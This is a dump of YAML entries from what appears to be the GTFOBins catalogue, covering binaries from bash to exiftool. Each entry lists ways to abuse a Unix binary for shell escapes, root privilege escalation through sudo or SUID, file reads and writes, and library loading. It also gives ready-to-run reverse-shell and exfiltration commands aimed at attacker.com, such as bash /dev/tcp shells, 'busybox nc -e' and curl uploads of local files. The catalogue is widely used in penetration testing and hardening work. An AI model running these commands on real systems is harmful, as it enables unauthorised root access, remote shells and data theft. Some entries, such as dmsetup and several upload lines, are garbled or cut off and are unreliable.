DATA >/path/to/output-file' unprivileged: - binary: false code: |- HISTIGNORE='history *' history -c DATA history -w /path/to/output-file comment: |- This only works interactively from an existing `bash` session. It adds timestamps to the output file. contexts: sudo: suid: unprivileged: library-load: - code: |- bash -c 'enable -f /path/to/lib.so x' contexts: sudo: suid: code: |- bash -p -c 'enable -f /path/to/lib.so x' unprivileged: reverse-shell: - code: |- bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1' contexts: sudo: suid: code: |- bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1' unprivileged: listener: tcp-server shell: - code: |- bash contexts: sudo: suid: code: |- bash -p unprivileged: upload: - binary: false code: |- bash -c 'echo -e "POST / HTTP/0.9\n\n$(/dev/tcp/attacker.com/12345' contexts: sudo: suid: code: |- bash -p -c 'echo -e "POST / HTTP/0.9\n\n$(/dev/tcp/attacker.com/12345' unprivileged: receiver: http-server - binary: false code: |- bash -c 'echo -n "$(/dev/tcp/attacker.com/12345' contexts: sudo: suid: code: |- bash -p -c 'echo -n "$(/dev/tcp/attacker.com/12345' unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/bashbug ================================================ --- functions: inherit: - code: |- bashbug contexts: sudo: unprivileged: from: vi ... ================================================ FILE: _gtfobins/batcat ================================================ --- functions: inherit: - code: |- batcat --paging always /etc/hosts comment: |- `--paging always` can be omitted provided that the output doesn't fit the screen. contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/bbot ================================================ --- functions: file-read: - binary: false code: |- bbot -d -cy /path/to/input-file comment: |- The file is displayed in the debug log. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bc ================================================ --- functions: file-read: - code: |- bc -s /path/to/input-file quit comment: |- The file content is actually parsed and appears as error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/bconsole ================================================ --- functions: file-read: - code: |- bconsole -c /path/to/file-input comment: |- The file is actually parsed and the first wrong line is returned in an error message. contexts: sudo: suid: unprivileged: shell: - code: |- bconsole @exec /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bee ================================================ --- functions: inherit: - code: |- bee eval '...' comment: |- This allows to run PHP code (`...`). This must be excuted from the Backdrop CMS root directory (e.g. `/var/www/html`), alternatively use the `--root` option. contexts: sudo: suid: unprivileged: from: php ... ================================================ FILE: _gtfobins/borg ================================================ --- functions: shell: - code: |- borg extract @:/::: --rsh "/bin/sh -c '/bin/sh /dev/tty 2>/dev/tty'" contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bpftrace ================================================ --- functions: shell: - code: |- bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}' contexts: sudo: - code: |- echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file bpftrace --unsafe /path/to/temp-file contexts: sudo: - code: |- bpftrace -c /bin/sh -e 'END {exit()}' contexts: sudo: ... ================================================ FILE: _gtfobins/bridge ================================================ --- functions: file-read: - code: |- bridge -b /path/to/input-file comment: |- Outputs the first line of the file (until the first whitespace) inside an error message to stdandard error. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/bundle ================================================ --- functions: inherit: - code: |- bundle help contexts: sudo: unprivileged: from: less - code: |- touch Gemfile bundle console contexts: sudo: unprivileged: from: irb shell: - code: |- BUNDLE_GEMFILE=x bundle exec /bin/sh contexts: sudo: unprivileged: - code: |- touch Gemfile bundle exec /bin/sh contexts: sudo: unprivileged: - code: |- echo 'system("/bin/sh")' >Gemfile bundle install comment: |- This might run the shell twice, one after the other. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/bundler ================================================ --- alias: bundle ... ================================================ FILE: _gtfobins/busctl ================================================ --- functions: inherit: - code: |- busctl --show-machine contexts: sudo: suid: unprivileged: from: less shell: - code: |- busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' contexts: sudo: suid: code: |- busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2' shell: false unprivileged: - code: |- busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2' contexts: sudo: suid: code: |- busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2' shell: false unprivileged: ... ================================================ FILE: _gtfobins/busybox ================================================ --- comment: |- BusyBox may contain many utilities, run `busybox --list-full` to check what other binaries are supported. functions: inherit: - code: |- busybox ash contexts: sudo: unprivileged: from: ash - code: |- busybox cat contexts: sudo: unprivileged: from: cat reverse-shell: - code: |- busybox nc -e /bin/sh attacker.com 12345 contexts: sudo: unprivileged: listener: tcp-server upload: - code: |- busybox httpd -f -p 12345 -h . comment: |- This serves files in the local folder via an HTTP server. contexts: sudo: unprivileged: receiver: http-client ... ================================================ FILE: _gtfobins/byebug ================================================ --- functions: inherit: - code: |- byebug --no-stop /path/to/script.rb contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/bzip2 ================================================ --- comment: |- There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID. functions: file-read: - code: |- bzip2 -c /path/to/input-file | bzip2 -d contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/c89 ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/c99 ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/cabal ================================================ --- functions: shell: - code: |- cabal exec --project-file=/dev/null -- /bin/sh contexts: sudo: suid: code: |- cabal exec --project-file=/dev/null -- /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/cancel ================================================ --- functions: upload: - binary: false code: |- cancel -h attacker.com:12345 -u DATA comment: |- Data is sent as a POST request along with other content. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/capsh ================================================ --- functions: shell: - code: |- capsh -- contexts: sudo: suid: code: |- capsh --gid=0 --uid=0 -- unprivileged: ... ================================================ FILE: _gtfobins/cargo ================================================ --- functions: inherit: - code: |- cargo help doc contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/cat ================================================ --- functions: file-read: - code: |- cat /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/cc ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/cdist ================================================ --- functions: shell: - code: |- cdist shell -s /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/certbot ================================================ --- functions: shell: - code: |- certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0' comment: |- This needs a writable directory, replace `.` if needed. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/chattr ================================================ --- functions: privilege-escalation: - code: |- chattr +i /path/to/input-file comment: |- Make the target file immutable. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/check_by_ssh ================================================ --- comment: |- This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: shell: - code: |- check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x comment: |- The shell will only last 10 seconds. contexts: sudo: unprivileged: version: |- When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore. It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian). ... ================================================ FILE: _gtfobins/check_cups ================================================ --- comment: |- This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - binary: false code: |- check_cups --extra-opts=@/path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_log ================================================ --- comment: |- This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_log -F /path/to/input-file -O /dev/stdout contexts: sudo: unprivileged: file-write: - code: |- check_log -F /path/to/input-file -O /path/to/output-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_memory ================================================ --- comment: |- This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_memory --extra-opts=@/path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_raid ================================================ --- comment: |- This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_raid --extra-opts=@/path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_ssl_cert ================================================ --- comment: |- This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: shell: - code: |- echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file chmod +x /path/to/temp-file check_ssl_cert --grep-bin /path/to/temp-file -H x comment: |- The shell will be invoked multiple times. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/check_statusfile ================================================ --- comment: |- This is the `check_statusfile` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: file-read: - code: |- check_statusfile /path/to/input-file comment: |- The read file content is limited to the first line. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/chmod ================================================ --- functions: privilege-escalation: - code: |- chmod 6777 /path/to/input-file comment: |- This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/choom ================================================ --- functions: shell: - code: |- choom -n 0 /bin/sh contexts: sudo: suid: code: |- choom -n 0 -- /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/chown ================================================ --- functions: privilege-escalation: - code: |- chown $(id -un):$(id -gn) /path/to/input-file comment: |- This can be run with elevated privileges to change ownership and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/chroot ================================================ --- functions: shell: - code: |- chroot / contexts: sudo: suid: code: |- chroot / /bin/sh -p shell: false ... ================================================ FILE: _gtfobins/chrt ================================================ --- functions: shell: - code: |- chrt 1 /bin/sh comment: |- Any number between 1 and 99 will do. contexts: sudo: suid: code: |- chrt 1 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/clamscan ================================================ --- functions: file-read: - binary: false code: |- touch x.yara clamscan --no-summary -d x.yara -f /path/to/input-file 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p' comment: |- Each line of the file is interpreted as a path and the content is leaked via error messages. The output can optionally be cleaned using `sed`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/clisp ================================================ --- functions: shell: - code: |- clisp -x '(ext:run-shell-command "/bin/sh")(ext:exit)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/cmake ================================================ --- functions: file-read: - code: |- cmake -E cat /path/to/input-file contexts: sudo: unprivileged: shell: - code: |- echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt cmake /path/to/ contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/cmp ================================================ --- functions: file-read: - binary: false code: |- cmp /path/to/input-file /dev/zero -b -l comment: |- Dump the bytes of the input file that are different from the NUL byte in a tabular format. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/cobc ================================================ --- functions: shell: - code: |- echo 'CALL "SYSTEM" USING "/bin/sh".' >/path/to/temp-file cobc -xFj --frelax-syntax-checks /path/to/temp-file comment: |- The `/path/to/temp-file` sill be overwritten after the execution. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/code ================================================ --- functions: download: - code: |- code tunnel --name xxxxxx comment: |- This requires a valid GitHub account. Run the command locally, then on the attacker box navigate to , using the provided code to authorize the tunnel. contexts: sudo: unprivileged: sender: comment: |- Navigate to where a remote VS Code instance can be used to upload files to the victim box. From the menu, select "File" -> "Open Folder...", right-click on the explorer pane, then select "Upload..." to pick a file to send. Alternatively it's possible to just create and edit files. reverse-shell: - code: |- code tunnel --name xxxxxx comment: |- This requires a valid GitHub account. Run the command locally, then on the attacker box navigate to , using the provided code to authorize the tunnel. contexts: sudo: unprivileged: listener: comment: |- Navigate to where a remote VS Code instance can be used to spawn a system shell on the victim box. From the menu, select "View" -> "Terminal". tty: true upload: - code: |- code tunnel --name xxxxxx comment: |- This requires a valid GitHub account. Run the command locally, then on the attacker box navigate to , using the provided code to authorize the tunnel. contexts: sudo: unprivileged: receiver: comment: |- Navigate to where a remote VS Code instance can be used to download files from the victim box. From the menu, select "File" -> "Open Folder...", right-click on the explorer pane, then select Download..." to download a file. Alternatively it's possible to just display files. ... ================================================ FILE: _gtfobins/codex ================================================ --- functions: shell: - code: |- codex sandbox linux /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/column ================================================ --- functions: file-read: - binary: false code: |- column /path/to/input-file comment: |- This program expects textual data. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/comm ================================================ --- functions: file-read: - binary: false code: |- comm /path/to/input-file /dev/null comment: |- A newline is appended to the file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/composer ================================================ --- functions: shell: - code: |- echo '{"scripts":{"x":"/bin/sh"}}' >composer.json composer run-script x contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/cowsay ================================================ --- functions: inherit: - code: |- cowsay -f /path/to/script.pl x contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/cowthink ================================================ --- functions: inherit: - code: |- cowthink -f /path/to/script.pl x contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/cp ================================================ --- functions: file-read: - code: |- cp /path/to/input-file /dev/stdout contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | cp /dev/stdin /path/to/output-file contexts: sudo: suid: unprivileged: privilege-escalation: - code: |- cp /path/to/input-file /path/to/output-file comment: |- This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) contexts: sudo: suid: - code: |- cp --attributes-only --preserve=all /path/to/input-file /path/to/output-file comment: |- This can copy SUID permissions from any SUID binary (e.g., `/path/to/input-file`) to another. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/cpan ================================================ --- functions: inherit: - code: |- cpan ! ... comment: |- Perl code can be executed with the `!` command. contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/cpio ================================================ --- functions: file-read: - binary: false code: |- echo /path/to/input-file | cpio -o comment: |- The content of the file is printed to standard output, between the `cpio` archive format header and footer. contexts: sudo: suid: unprivileged: - code: |- echo /path/to/input-file | cpio -dp . cat path/to/input-file comment: |- The whole directory structure is copied to `.`, hence this is also a file write. contexts: sudo: code: |- echo /path/to/input-file | cpio -R $UID -dp . cat path/to/input-file suid: code: |- echo /path/to/input-file | cpio -R $UID -dp . cat path/to/input-file unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -udp . comment: |- The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`. contexts: sudo: code: |- echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -R 0:0 -udp . suid: code: |- echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -R 0:0 -udp . unprivileged: shell: - code: |- echo '/bin/sh /dev/tty' >localhost cpio -o --rsh-command /bin/sh -F localhost: contexts: sudo: ... ================================================ FILE: _gtfobins/cpulimit ================================================ --- functions: shell: - code: |- cpulimit -l 100 -f /bin/sh contexts: sudo: suid: code: |- cpulimit -l 100 -f /bin/sh -p unprivileged: ... ================================================ FILE: _gtfobins/crash ================================================ --- functions: command: - code: |- CRASHPAGER=/path/to/command crash -h contexts: sudo: unprivileged: inherit: - code: |- crash -h contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/crontab ================================================ --- functions: command: - code: |- crontab -e comment: |- This spaws the default editor to edit the crontab file, commands can be scheduled to run using the [cron syntax](https://en.wikipedia.org/wiki/Cron). contexts: sudo: unprivileged: inherit: - code: |- crontab -e contexts: sudo: unprivileged: from: vi ... ================================================ FILE: _gtfobins/csh ================================================ --- functions: file-write: - code: |- csh -c 'echo DATA >/path/to/output-file' contexts: sudo: suid: code: |- csh -c 'echo DATA >/path/to/output-file' -b unprivileged: shell: - code: |- csh contexts: sudo: suid: code: |- csh -b unprivileged: ... ================================================ FILE: _gtfobins/csplit ================================================ --- functions: file-read: - code: |- csplit /path/to/input-file 1 cat xx01 contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file csplit -z -b '%doutput-file' /path/to/temp-file 1 comment: |- Writes the data to `xx0output-file` in the current working directory. If needed, a different prefix can be specified with `-f` (instead of `xx`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/csvtool ================================================ --- functions: file-read: - binary: false code: |- csvtool trim t /path/to/input-file comment: |- The file is actually parsed and manipulated as CSV. contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- echo DATA >/path/to/temp-file csvtool trim t /path/to/temp-file -o /path/to/output-file comment: |- The file is actually parsed and manipulated as CSV. contexts: sudo: suid: unprivileged: shell: - code: |- csvtool call '/bin/sh;false' /etc/hosts contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/ctr ================================================ --- functions: shell: - code: |- ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x comment: |- An image must be already present, for example: ``` ctr images pull docker.io/library/alpine:latest ``` contexts: sudo: suid: ... ================================================ FILE: _gtfobins/cupsfilter ================================================ --- functions: file-read: - code: |- cupsfilter -i application/octet-stream -m application/octet-stream /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/curl ================================================ --- functions: download: - code: |- curl http://attacker.com/path/to/input-file -o /path/to/output-file contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- curl file:///path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file curl file:///path/to/temp-file -o /path/to/output-file contexts: sudo: suid: unprivileged: library-load: - code: |- curl --engine /path/to/lib.so x contexts: sudo: suid: unprivileged: upload: - code: |- curl -X POST --data-binary @/path/to/input-file http://attacker.com contexts: sudo: suid: unprivileged: receiver: http-server - code: |- curl -X POST --data-binary DATA http://attacker.com contexts: sudo: suid: unprivileged: receiver: http-server - code: |- curl gopher://attacker.com:12345/_DATA comment: |- Data will be `\r\n` terminated. contexts: sudo: suid: unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/cut ================================================ --- functions: file-read: - binary: false code: |- cut -d '' -f1 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dash ================================================ --- functions: file-write: - code: |- dash -c 'echo DATA >/path/to/output-file' contexts: sudo: suid: unprivileged: shell: - code: |- dash contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/date ================================================ --- functions: file-read: - binary: false code: |- date -f /path/to/input-file comment: |- Each line is corrupted by a prefix string and wrapped inside quotes. contexts: sudo: suid: unprivileged: version: |- GNU ... ================================================ FILE: _gtfobins/dc ================================================ --- functions: shell: - code: |- dc -e '!/bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/dd ================================================ --- functions: file-read: - code: |- dd if=/path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | dd of=/path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/debugfs ================================================ --- functions: shell: - code: |- debugfs !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/dhclient ================================================ --- functions: shell: - code: |- dhclient -sf /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/dialog ================================================ --- functions: file-read: - code: |- dialog --textbox /path/to/input-file 0 0 comment: |- The file is shown in an interactive TUI dialog. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/diff ================================================ --- functions: file-read: - binary: false code: |- diff --line-format=%L /dev/null /path/to/input-file contexts: sudo: suid: unprivileged: - code: |- diff --recursive /path/to/empty-dir /path/to/input-dir/ comment: |- This lists the content of a directory. `/path/to/empty-dir` can be any directory, but for convenience it is better to use an empty directory to avoid noise output. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dig ================================================ --- functions: file-read: - code: |- dig -f /path/to/input-file comment: |- Each input line is treated as a lookup query for the `dig` command and the output is corrupted with the result or errors of the operation. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/distcc ================================================ --- functions: shell: - code: |- distcc /bin/sh contexts: sudo: suid: code: |- distcc /bin/sh -p unprivileged: ... ================================================ FILE: _gtfobins/dmesg ================================================ --- functions: file-read: - binary: false code: |- dmesg -rF /path/to/input-file contexts: sudo: suid: unprivileged: inherit: - code: |- dmesg -H contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/dmidecode ================================================ --- functions: file-write: - binary: false code: |- dmidecode --no-sysfs -d x.dmi --dump-bin /path/to/output-file comment: |- It can be used to write files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode. Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target. - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes. - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option. ``` make dmiwrite echo DATA >/path/to/temp-file ./dmiwrite /path/to/temp-file x.dmi ``` contexts: unprivileged: ... ================================================ FILE: _gtfobins/dmsetup ================================================ --- functions: shell: - code: |- dmsetup create base <x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ``` The `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise. contexts: sudo: ... ================================================ FILE: _gtfobins/dnsmasq ================================================ --- functions: command: - code: |- dnsmasq --conf-script='/path/to/command 1>&2' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/doas ================================================ --- functions: shell: - code: |- doas -u root /bin/sh comment: |- The user must be allowed to use `doas`. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/docker ================================================ --- comment: |- This requires the user to be privileged enough to run `docker`, e.g., being in the `docker` group or being `root`. functions: file-read: - code: |- docker cp /path/to/input-file $CONTAINER_ID:input-file docker cp $CONTAINER_ID:input-file /path/to/temp-file cat /path/to/temp-file comment: |- Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host. contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file docker cp /path/to/temp-file $CONTAINER_ID:temp-file docker cp $CONTAINER_ID /path/to/output-file comment: |- Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host. contexts: sudo: suid: unprivileged: shell: - code: |- docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh contexts: sudo: suid: unprivileged: - code: |- docker run --rm -it --privileged -u root alpine mount /dev/sda1 /mnt/ ls -la /mnt/ chroot /mnt /bin/bash comment: |- This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dos2unix ================================================ --- functions: file-read: - code: |- dos2unix -f -O /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- dos2unix -f -n /path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dosbox ================================================ --- comment: |- Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used. functions: file-read: - code: |- dosbox -c 'mount c /' -c 'type c:\path\to\input' comment: |- The file content will be displayed in the DOSBox graphical window. contexts: sudo: suid: unprivileged: - code: |- dosbox -c 'mount c /' -c 'copy c:\path\to\input c:\path\to\output' -c exit cat /path/to/OUTPUT comment: |- The file is copied to a readable location. contexts: sudo: suid: unprivileged: file-write: - code: |- dosbox -c 'mount c /' -c "echo DATA >c:\path\to\output" -c exit comment: |- Note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dotnet ================================================ --- functions: file-read: - code: |- dotnet fsi System.IO.File.ReadAllText("/path/to/input-file");; contexts: sudo: unprivileged: shell: - code: |- dotnet fsi System.Diagnostics.Process.Start("/bin/sh").WaitForExit();; contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/dpkg ================================================ --- functions: inherit: - code: |- dpkg -l contexts: sudo: suid: unprivileged: from: less shell: - code: |- dpkg -i x_1.0_all.deb comment: |- Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo 'exec /bin/sh' >x.sh fpm -n x -s dir -t deb -a all --before-install x.sh . ``` contexts: sudo: ... ================================================ FILE: _gtfobins/dstat ================================================ --- functions: inherit: - code: |- dstat --xxx comment: |- `dstat` allows you to run arbitrary Python scripts loaded as "external plugins" if they are located in one of the directories, stated in the `dstat` man page under "FILES": - `~/.dstat/` - `(path of binary)/plugins/` - `/usr/share/dstat/` - `/usr/local/share/dstat/` Pick the one that you can write into. The plugin named `xxx` file name must be defined in the `dstat_xxx.py` file. contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/dvips ================================================ --- functions: shell: - code: |- dvips -R0 texput.dvi comment: |- The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ``` contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/easy_install ================================================ --- functions: inherit: - code: |- echo '...' >setup.py easy_install . comment: |- This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh /dev/tty 2>/dev/tty")' >setup.py ``` contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/easyrsa ================================================ --- functions: shell: - code: |- echo 'set_var X "$(/bin/sh 1>&0)"' >/path/to/temp-file easyrsa --vars=/path/to/temp-file comment: |- This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/eb ================================================ --- comment: |- For this to work the target must be connected to an AWS instance via EB CLI. functions: inherit: - code: |- eb logs contexts: sudo: unprivileged: from: journalctl ... ================================================ FILE: _gtfobins/ed ================================================ --- functions: file-read: - binary: false code: |- ed /path/to/input-file ,p q contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- ed /path/to/output-file a DATA . w q contexts: sudo: suid: unprivileged: shell: - code: |- ed !/bin/sh q contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/efax ================================================ --- functions: file-read: - binary: false code: |- efax -d /path/to/input-file comment: |- The content is actually parsed by the command. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/egrep ================================================ --- functions: file-read: - code: |- grep '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/elvish ================================================ --- functions: file-read: - code: |- elvish -c 'print (slurp /path/to/output-file' contexts: sudo: suid: unprivileged: shell: - code: |- elvish contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/emacs ================================================ --- comment: |- All the functions operate in the Emacs terminal interface. functions: file-read: - binary: false code: |- emacs /path/to/input-file contexts: sudo: unprivileged: file-write: - binary: false code: |- emacs /path/to/output-file DATA C-x C-s contexts: sudo: unprivileged: shell: - code: |- emacs -Q -nw --eval '(term "/bin/sh")' contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/enscript ================================================ --- functions: shell: - code: |- enscript /dev/null -qo /dev/null -I '/bin/sh >&2' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/env ================================================ --- functions: shell: - code: |- env /bin/sh contexts: sudo: suid: code: |- env /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/eqn ================================================ --- functions: file-read: - binary: false code: |- eqn /path/to/input-file comment: |- The content is actually parsed and corrupted by the command. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/espeak ================================================ --- functions: file-read: - binary: false code: |- espeak -qXf /path/to/input-file comment: |- The file content appears in the middle of other textual information as phonemes. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ex ================================================ --- functions: inherit: - code: |- ex contexts: sudo: suid: unprivileged: from: ed shell: - code: |- ex -c ':!/bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/exiftool ================================================ --- functions: file-read: - code: |- exiftool -filename=/path/to/output-file /path/to/input-file cat /path/to/output-file comment: |- If the permissions allow it, files are moved (instead of copied) to the destination. contexts: sudo: unprivileged: file-write: - code: |- exiftool -filename=/path/to/output-file /path/to/input-file comment: |- If the permissions allow it, files are moved (instead of copied) to the destination. contexts: sudo: unprivileged: - binary: false code: |- exiftool "-description<=/path/to/input-file --filename /path/to/output-file comment: |- The output file must exists, either empty or be a supported image file. The content is written amidst other content. contexts: sudo: unprivileged: - binary: false code: |- exiftool "-description=DATA --filename /path/to/output-file comment: |- The output file must exists, either empty or be a supported image file. The content is written amidst other content. contexts: sudo: unprivileged: - binary: false code: |- exiftool -description -W /path/to/output-file --filename 